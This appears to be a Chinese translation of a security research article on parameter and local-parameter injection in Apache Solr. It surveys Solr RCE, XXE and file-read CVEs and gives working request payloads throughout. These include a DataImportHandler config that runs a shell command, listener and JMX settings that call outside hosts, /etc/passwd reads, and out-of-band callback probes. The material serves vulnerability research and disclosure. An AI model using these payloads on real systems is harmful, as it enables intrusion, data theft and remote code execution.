Apache Solr Injection Research
2019-08-18 08:00:00 Author: xz.aliyun.com(查看原文) 阅读量:235 收藏

文章来源:https://github.com/artsploit/solr-injection/


概述

在这篇文章中,我们提出了一种新漏洞:“Solr参数注入”,并且分享了如何在不同的场景下构造exp。 同时,本文总结了Apache Solr的历史漏洞。

Apache Solr是一个开源企业搜索平台。Solr使用Java语言开发,隶属于Apache Lucene项目。 Apache Solr的主要功能包括全文检索、命中标示、分面搜索、动态聚类以及文档处理。 同时它还集成了数据库功能:你可以运行服务器,创建集合,并向它传输各种类型的数据(例如文本,xml文档,pdf文档等)。Solr会自动索引这些数据,同时提供大量且高效的REST API接口,以便搜索数据。 用户只能使用HTTP协议与Solr服务器通信,并且默认不需要身份令牌即可访问,这使得它非常容易出现SSRF,CSRF和HRS(HTTP请求走私)漏洞。

Solr API

启动Solr实例后(命令"./bin/solr start -e dih"),它会在8983端口创建一个web服务器。

这里我们使用的示例中已经有一些数据,可以尝试搜索。 简单地搜索关键词“Apple”,程序将开始在所有文档中检索并以JSON格式返回结果:

尝试更复杂的查询:

主要的参数有:

  • /solr/db/select - "db"是仓库名称,"/select"表示我们想执行的搜索操作(由SearchHandler类处理)
  • q={!dismax+df=name}Apple - 程序通过“dismax”查询解析器,在“name”字段搜索包含“Apple”关键字的数据。 注意,大括号间的数据将被解析为Solr本地参数
  • fl=*,score,similar:[subquery] - "fl"代表要返回的字段名称,通过[subquery] 转换器可以包含另一个查询的结果。 同时在本例中,我们的子查询为"computer"。

除了搜索之外,用户还可以更新,查看和修改配置,甚至复制操作。 通过访问Solr Web管理页面,我们可以上传或修改数据以及其他任何操作。 同时,在默认情况下Solr不存在用户或角色,这使得它非常容易出现SSRF,CSRF和HRS(HTTP请求走私)漏洞。

Apache Solr注入

和数据库类似,大多数情况用户不能直接访问Solr Rest API,并且只能在内部供其他程序使用。 基于这种情况,我们想对使用Solr的Web程序引入一些新的攻击。

Solr参数注入(HTTP走私)

当目标应用程序对Solr进行HTTP API调用,并接收不受信的用户输入,则可能无法正确地URL编码数据。 下面是一个简单的Java Web App,只接受一个参数"q",并且通过server-to-server的形式对Solr服务器发出内部请求:

@RequestMapping("/search")
@Example(uri = "/search?q=Apple")
public Object search1(@RequestParam String q) {

    //search the supplied keyword inside solr
    String solr = "http://solrserver/solr/db/";
    String query = "/select?q=" + q + "&fl=id,name&rows=10";
    return http.get(solr + query);
}

因为不会对数据做URL编码,所以我们可以构造发送q = 123%26param1 = xxx%26param2 = yyy这一类Payload,向Solr搜索请求中注入额外参数,同时还能可以修改请求处理的逻辑。 %26为编码后的$,它是HTTP查询中的分割符。

用户发出正常请求:

Web App向Solr服务器发出请求:

GET /solr/db/select?q=Apple

用户发出恶意请求:

GET /search?q=Apple%26xxx=yyy

Web App向Solr服务器发出请求:

GET /solr/db/select?q=Apple&xxx=yyy

我们很容易可以看出,由于参数注入,参数q首先被应用程序解码,但转发至Solr服务器时并未再次编码。

Ok,现在我们该讨论的是如何利用这点?请求无论如何都会被转发至/select端点,那么我们可以构造哪些恶意参数然后发送给Solr?

Solr有大量的查询参数,但对于构造exp来说,比较有用的有:

  • shards= http://127.0.0.1:8983/ - 指定shards的值,请求将转发到恶意Solr服务器,使目标Solr服务器变成一个反向代理服务器。 攻击者可以发送任意数据给Solr服务器,甚至绕过防火墙访问Admin API。
  • qt=/update - 重写请求的处理端点(/select/update等等)。 由于程序总是默认发送请求至/solr/db/select,这很容易使开发人员产生错觉,认为请求只会用于搜索。其实通过使用'qt'和'shards'参数,我们可以访问'/update'或'/config'端点。
  • shards.qt=/update - 也可以重写请求的处理端点。
  • stream.body=xxx - 重写整个请求。但在新版本中被禁用,因此只针对旧版本。

如果将这些参数“走私”到Solr查询请求中,则会造成严重的安全漏洞,可以修改Solr实例内部的数据,甚至导致RCE。

Exploitation示例

构造更改Solr配置属性的请求:

GET /search?q=Apple&shards=http://127.0.0.1:8983/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}

查询其他仓库的数据:

GET /solr/db/select?q=Apple&shards=http://127.0.0.1:8983/solr/atom&qt=/update?stream.body=[%257b%2522id%2522:%25221338%2522,%2522author%2522:%2522orange%2522%257d]%26wt=json&commit=true&wt=json

修改指定仓库的数据:

GET /solr/db/select?q=orange&shards=http://127.0.0.1:8983/solr/atom&qt=/select?fl=id,name:author&wt=json

另一个利用方法是更改Solr的响应。“fl”参数会列出查询返回的字段。 通过发出以下请求我们可以要求仅返回“名称”和“价格”字段:

GET /solr/db/select?q=Apple&fl=name,price

当此参数被污染时,我们可以利用ValueAugmenterFactory(fl = name:[value v ='xxxx'])向文档注入其他字段,并在查询中指定要注入的内容'xxxx'。 此外,我们通过结合Xml Transformer(fl = name:[xml]),可以解析服务器端提供的值,并将结果回现到文档且不会发生转义。 因此该技术可用于XSS:

GET /solr/db/select?indent=on&q=*&wt=xml&fl=price,name:[value+v='<a:script+xmlns:a="http://www.w3.org/1999/xhtml">alert(1)</a:script>'],name:[xml]

注意:

  • 7.6版本以上无法造成XXE攻击
  • Solr 5.2以后才引入RawValueTransformerFactory

Solr本地参数注入

常见的情况是只有一个参数q,并且它会被正确编码:

@RequestMapping("/search")
public Object select(@RequestParam(name = "q") String query) {
    //search the supplied keyword inside solr and return result|
    return httprequest(solrURL + "/db/select?q=" + urlencode(query));
}

这种情况下,仍可以指定解析类型和Solr本地参数

GET /search?q={!type=_parser_type_+param=value}xxx

在2013年有人就已经提出这类攻击,但在2017年前仍没有人知道如何利用。那时我们报告了漏洞CVE-2017-12629, 分享了如何通过'xmlparser'解析器来造成XXE:

GET /search?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://127.0.0.1:/solr/gettingstarted/upload?stream.body={"xx":"yy"}&commit=true"'><a></a>'}

在CVE-2017-12629无效的版本中,本地参数注入几乎无害。似乎可以用于DoS攻击,但是由于Solr使用了lucene的语法,DoS非常容易实现,所以它不重要。另一个潜在的本地参数注入攻击是通过使用Join Query解析器访问其他仓库的数据:

GET /search?q={!join from=id fromIndex=anotherCollection to=other_id}Apple

另一个仓库ID应与前一个相同,因此攻击有时会失效。由于CVE-2017-12629已被修补,我不觉得它是一个安全漏洞,除非有人找到更好的利用方法。

RCE方法总结

大多数攻击者对仓库的数据不感兴趣,而是想要实现RCE或本地文件读取。下面我对它们做了总结:

1. [CVE-2017-12629] 通过RunExecutableListener实现RCE

适用的Solr版本:5.5x-5.5.5, 6x-v6.6.2, 7x - v7.1

要求:无

该攻击是利用Solr ConfigApi添加一个新的RunExecutableListener,从而执行shell命令。 添加这个Listener后,还需要通过"/update"触发程序更新操作,然后执行命令。

直接发送给Solr服务器的请求:

POST /solr/db/config HTTP/1.1
Host: localhost:8983
Content-Type: application/json
Content-Length: 213

{
  "add-listener" : {
    "event":"postCommit",
    "name":"newlistener",
    "class":"solr.RunExecutableListener",
    "exe":"nslookup",
    "dir":"/usr/bin/",
    "args":["solrx.x.artsploit.com"]
  }
}

构造Solr参数注入Payload:

GET /solr/db/select?q=xxx&shards=localhost:8983/solr/db/config%23&stream.body={"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"nslookup","dir":"/usr/bin/","args":["solrx.x.artsploit.com"]}}&isShard=true
GET /solr/db/select?q=xxx&shards=localhost:8983/solr/db/update%23&commit=true

构造Solr本地参数注入Payload:

GET /solr/db/select?q={!xmlparser+v%3d'<!DOCTYPE+a+SYSTEM+"http%3a//localhost%3a8983/solr/db/select%3fq%3dxxx%26qt%3d/solr/db/config%3fstream.body%3d{"add-listener"%3a{"event"%3a"postCommit","name"%3a"newlistener","class"%3a"solr.RunExecutableListener","exe"%3a"nslookup","dir"%3a"/usr/bin/","args"%3a["solrx.x.artsploit.com"]}}%26shards%3dlocalhost%3a8983/"><a></a>'}
GET /solr/db/select?q={!xmlparser+v='<!DOCTYPE+a+SYSTEM+"http://localhost:8983/solr/db/update?commit=true"><a></a>'}

因为构造方法类似(将"qt"和"stream.body"参数与"xmlparser"组合),接下来我们将省略构造“Solr(本地)参数注入" Payload的过程。

2. [CVE-2019-0192] 通过jmx.serviceUrl实现反序列化

适用的Solr版本:5?(暂未确定从哪个版本开始引入Config API接口)~7。版本7之后JMX被弃用。

要求:防火墙不会阻拦Solr向外发出请求;在目标的类路径(classpath)或JMX服务器中的任意端口(利用时目标端口会被打开)中,存在一些特定的反序列化gadget。

通过ConfigAPI可设置'jmx.serviceUrl'属性,然后创建一个新的JMX MBeans服务器并且在指定的RMI/LDAP注册表上注册。

POST /solr/db/config HTTP/1.1
Host: localhost:8983
Content-Type: application/json
Content-Length: 112

{
  "set-property": { 
    "jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://artsploit.com:1617/jmxrmi"
  }
}

在代码层,它通过对RMI/LDAP/CORBA服务器进行“绑定(bind)”操作,然后触发JNDI调用。 与JNDI 'lookup'不同,'bind'操作不支持远程调用类,因此我们无法引用外部代码库。 同时,它通过JMXConnectorServer.start()创建一个新的低安全性的JMX服务器:

public static MBeanServer findMBeanServerForServiceUrl(String serviceUrl) throws IOException {
  if (serviceUrl == null) {
    return null;
  }

  MBeanServer server = MBeanServerFactory.newMBeanServer();
  JMXConnectorServer connector = JMXConnectorServerFactory
      .newJMXConnectorServer(new JMXServiceURL(serviceUrl), null, server);
  connector.start();

  return server;
}

最终调用为InitialDirContext.bind(serviceUrl),(如果使用RMI协议)还将调用sun.rmi.transport.StreamRemoteCall.executeCall(),那里包含了反序列化入口ObjectInputStream.readObject()

有两种攻击方式:

利用反序列化

恶意RMI服务器可以通过 ObjectInputStream方法响应任意对象,并且在Solr端反序列化。显然这是不安全的。 使用ysoserial工具的'ysoserial.exploit.JRMPListener'类可以快速构建一个RMI服务器。 根据目标的classpath,攻击者可以使用一个“gadget chains”在Solr端获取远程执行代码。 其中一个可用gadget为ROME。这是因为Solr包含了一个数据提取功能的库:“contrib/extraction/lib/rome-1.5.1.jar”,但该库为可选,只是包含在Solr的配置中。 此外,你还可以试试Jdk7u21 gadget链。

实验(solr 6.6.5, MacOS, java8u192)

  1. 下载解压solr6.6.5:

    wget https://www.apache.org/dist/lucene/solr/6.6.5/solr-6.6.5.zip
    unzip solr-6.6.5.zip
    cd solr-6.6.5/
  2. 根据contrib/extraction/README.txt文档说明,复制提取依赖关系:

    cp -a contrib/extraction/lib/ server/lib/
  3. 启动solr

    ./bin/solr start -e techproducts
  4. 在另一个文件夹中,下载编译ysoserial项目(你可能要对ysoserial的版本做一点修改)

    git clone https://github.com/artsploit/ysoserial
    cd ysoserial
    mvn clean package -DskipTests
  5. 启动恶意RMI服务器,在1617端口处理ROME2对象:

    java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1617 ROME2 "/Applications/Calculator.app/Contents/MacOS/Calculator"
  6. 设置jmx.serviceUrl属性,使Solr与RMI服务器进行通信:

    curl -X POST -H 'Content-type: application/json' -d '{"set-property":{"jmx.serviceUrl":"service:jmx:rmi:///jndi/rmi://localhost:1617/solrjmx"}}' http://localhost:8983/solr/techproducts/config
  7. Solr服务器执行"/Applications/Calculator.app/Contents/MacOS/Calculator",弹出计算器。在对象反序列化完毕后,Solr会抛出"UnexpectedException"。

访问JMX进行攻击

另一种方法是设置特定的RMI注册表(例如使用JDK的'rmiregistry'),使得Solr在上面注册JMX。 然后Solr会随机选取一个端口,创建JMX MBean服务器,并会把该端口写入攻击者的RMI注册表中。

如果没有防火墙阻拦该端口,则攻击者可以通过metasploit的java_jmx_server模块或使用mjet部署一个恶意的MBean。该漏洞的根本原因是无需身份令牌即可创建JMX Mbeans服务器。

实验:

  1. 启动Solr

    ./bin/solr start -e techproducts
  2. 创建一个特定的RMI注册表:

    rmiregistry 1617
  3. 设置jmx.serviceUrl属性,使得Solr与恶意RMI服务器通信

    curl -X POST -H 'Content-type: application/json' -d '{"set-property":{"jmx.serviceUrl":"service:jmx:rmi:///jndi/rmi://localhost:1617/jmxrmi"}}' http://localhost:8983/solr/techproducts/config
  4. 在本地注册表中查看Solr JMX端口

    nmap -A -v 127.0.0.1 -p 1617 --version-all

  1. 通过mjet工具部署一个恶意的Mbean

    jython mjet.py 127.0.0.1 1617 install pass http://127.0.0.1:8000 8000

3. [CVE-2019-0193] 通过dataImportHandler实现RCE

适用的Solr版本:1.3 – 8.2

要求:启用DataImportHandler

Solr提供了DataImportHandler,通过该方式可以从数据库或URL导入数据,同时也可以在dataConfig参数的脚本标记中插入恶意JavaScript代码,然后代码将在每一个导入的文档中执行。

向Solr服务器发出的利用请求:

实验:

GET /solr/db/dataimport?command=full-import&dataConfig=%3c%64%61%74%61%43%6f%6e%66%69%67%3e%0d%0a%20%20%3c%64%61%74%61%53%6f%75%72%63%65%20%74%79%70%65%3d%22%55%52%4c%44%61%74%61%53%6f%75%72%63%65%22%2f%3e%0d%0a%3c%73%63%72%69%70%74%3e%3c%21%5b%43%44%41%54%41%5b%66%75%6e%63%74%69%6f%6e%20%66%31%28%64%61%74%61%29%7b%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%50%72%6f%63%65%73%73%42%75%69%6c%64%65%72%5b%22%28%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%5b%5d%29%22%5d%28%5b%22%2f%62%69%6e%2f%73%68%22%2c%22%2d%63%22%2c%22%63%75%72%6c%20%31%32%37%2e%30%2e%30%2e%31%3a%38%39%38%34%2f%78%78%78%22%5d%29%2e%73%74%61%72%74%28%29%7d%5d%5d%3e%3c%2f%73%63%72%69%70%74%3e%0d%0a%20%20%3c%64%6f%63%75%6d%65%6e%74%3e%0d%0a%20%20%20%20%3c%65%6e%74%69%74%79%20%6e%61%6d%65%3d%22%78%78%22%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%75%72%6c%3d%22%68%74%74%70%3a%2f%2f%6c%6f%63%61%6c%68%6f%73%74%3a%38%39%38%33%2f%73%6f%6c%72%2f%61%64%6d%69%6e%2f%69%6e%66%6f%2f%73%79%73%74%65%6d%22%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%70%72%6f%63%65%73%73%6f%72%3d%22%58%50%61%74%68%45%6e%74%69%74%79%50%72%6f%63%65%73%73%6f%72%22%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%66%6f%72%45%61%63%68%3d%22%2f%72%65%73%70%6f%6e%73%65%22%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%74%72%61%6e%73%66%6f%72%6d%65%72%3d%22%48%54%4d%4c%53%74%72%69%70%54%72%61%6e%73%66%6f%72%6d%65%72%2c%52%65%67%65%78%54%72%61%6e%73%66%6f%72%6d%65%72%2c%73%63%72%69%70%74%3a%66%31%22%3e%0d%0a%20%20%20%20%3c%2f%65%6e%74%69%74%79%3e%0d%0a%20%20%3c%2f%64%6f%63%75%6d%65%6e%74%3e%0d%0a%3c%2f%64%61%74%61%43%6f%6e%66%69%67%3e

测试时,请确保Solr端可以访问到URL中的“实体”部分,并且会返回有效的XML文档以便进行Xpath评估。

另一种方法是使用dataSource类型 - “JdbcDataSource”以及驱动程序“com.sun.rowset.JdbcRowSetImpl”:

实验

GET /solr/db/dataimport?command=full-import&dataConfig=%3c%64%61%74%61%43%6f%6e%66%69%67%3e%0d%0a%20%20%3c%64%61%74%61%53%6f%75%72%63%65%20%74%79%70%65%3d%22%4a%64%62%63%44%61%74%61%53%6f%75%72%63%65%22%20%64%72%69%76%65%72%3d%22%63%6f%6d%2e%73%75%6e%2e%72%6f%77%73%65%74%2e%4a%64%62%63%52%6f%77%53%65%74%49%6d%70%6c%22%20%6a%6e%64%69%4e%61%6d%65%3d%22%72%6d%69%3a%2f%2f%6c%6f%63%61%6c%68%6f%73%74%3a%36%30%36%30%2f%78%78%78%22%20%61%75%74%6f%43%6f%6d%6d%69%74%3d%22%74%72%75%65%22%2f%3e%0d%0a%20%20%3c%64%6f%63%75%6d%65%6e%74%3e%0d%0a%20%20%20%20%3c%65%6e%74%69%74%79%20%6e%61%6d%65%3d%22%78%78%22%3e%0d%0a%20%20%20%20%3c%2f%65%6e%74%69%74%79%3e%0d%0a%20%20%3c%2f%64%6f%63%75%6d%65%6e%74%3e%0d%0a%3c%2f%64%61%74%61%43%6f%6e%66%69%67%3e

这样,我们通过使用基于'com.sun.rowset.JdbcRowSetImpl'类的一个gadget链执行反序列化。它需要为'jndiName'和'autoCommit'属性调用两个set方法,然后跳转到可利用的'InitialContext.lookup',我们可以将它作为普通的JNDI解析攻击来利用。 有关JNDI攻击的方法,请参阅Exploiting JNDI Injections。 Solr基于Jetty,因此攻击Tomcat的一些tircks在这里并不适用,但你可以尝试使用最近为LDAP修复的远程类加载的方法。

4. [CVE-2012-6612, CVE-2013-6407, CVE-2013-6408] Update中的XXE

适用的Solr版本:1.3 - 4.1 or 4.3.1

要求:无

如果你遇到了一个老版本的Solr,则它的'/update'非常有可能易受XXE攻击:

POST /solr/db/update HTTP/1.1
Host: 127.0.0.1:8983
Content-Type: application/xml
Content-Length: 136

<!DOCTYPE x [<!ENTITY xx SYSTEM "/etc/passwd">]>
<add>
  <doc>
    <field name="id">&xx;</field>
  </doc>
  <doc>
  </doc>
</add>

5. [CVE-2013-6397] 通过路径遍历和XSLT响应写入实现RCE

适用的Solr版本:1.3 - 4.1 or 4.3.1

要求:可以上传XLS文件到指定目录。

这是Nicolas Grégoire在2013年发现的,他也写了一篇漏洞分析文章)。

GET /solr/db/select/?q=31337&wt=xslt&tr=../../../../../../../../../../../../../../../../../usr/share/ant/etc/ant-update.xsl

6. [CVE-2017-3163] 通过ReplicationHandler实现任意文件读取

适用的Solr版本:5.5.4~6.4.1

要求:无

GET /solr/db/replication?command=filecontent&file=../../../../../../../../../../../../../etc/passwd&wt=filestream&generation=1

其实这里还有个未修补的SSRF漏洞,但由于"shards"特性,它不被视为漏洞。

GET /solr/db/replication?command=fetchindex&masterUrl=http://callback/xxxx&wt=json&httpBasicAuthUser=aaa&httpBasicAuthPassword=bbb

黑盒测试

综上所述,漏洞猎人如果在目标网站上发现全文搜索的搜索表单时,可以发送以下OOB Payload以检测此漏洞,这非常值得一试:

GET /xxx?q=aaa%26shards=http://callback_server/solr 
GET /xxx?q=aaa&shards=http://callback_server/solr
GET /xxx?q={!type=xmlparser v="<!DOCTYPE a SYSTEM 'http://callback_server/solr'><a></a>"}

小结

不管Solr实例是面向Internet,反向代理后端或仅由内部Web应用程序使用,用户可以自主修改Solr的搜索参数,因此存在非常大的风险。 如果将Solr用作Web服务且可以访问,那么攻击者通过Solr(本地)参数注入,可以修改或查看Solr集群中的所有数据,甚至还可以组合其他漏洞获取远程代码执行权限。


文章来源: http://xz.aliyun.com/t/6014
如有侵权请联系:admin#unsafe.sh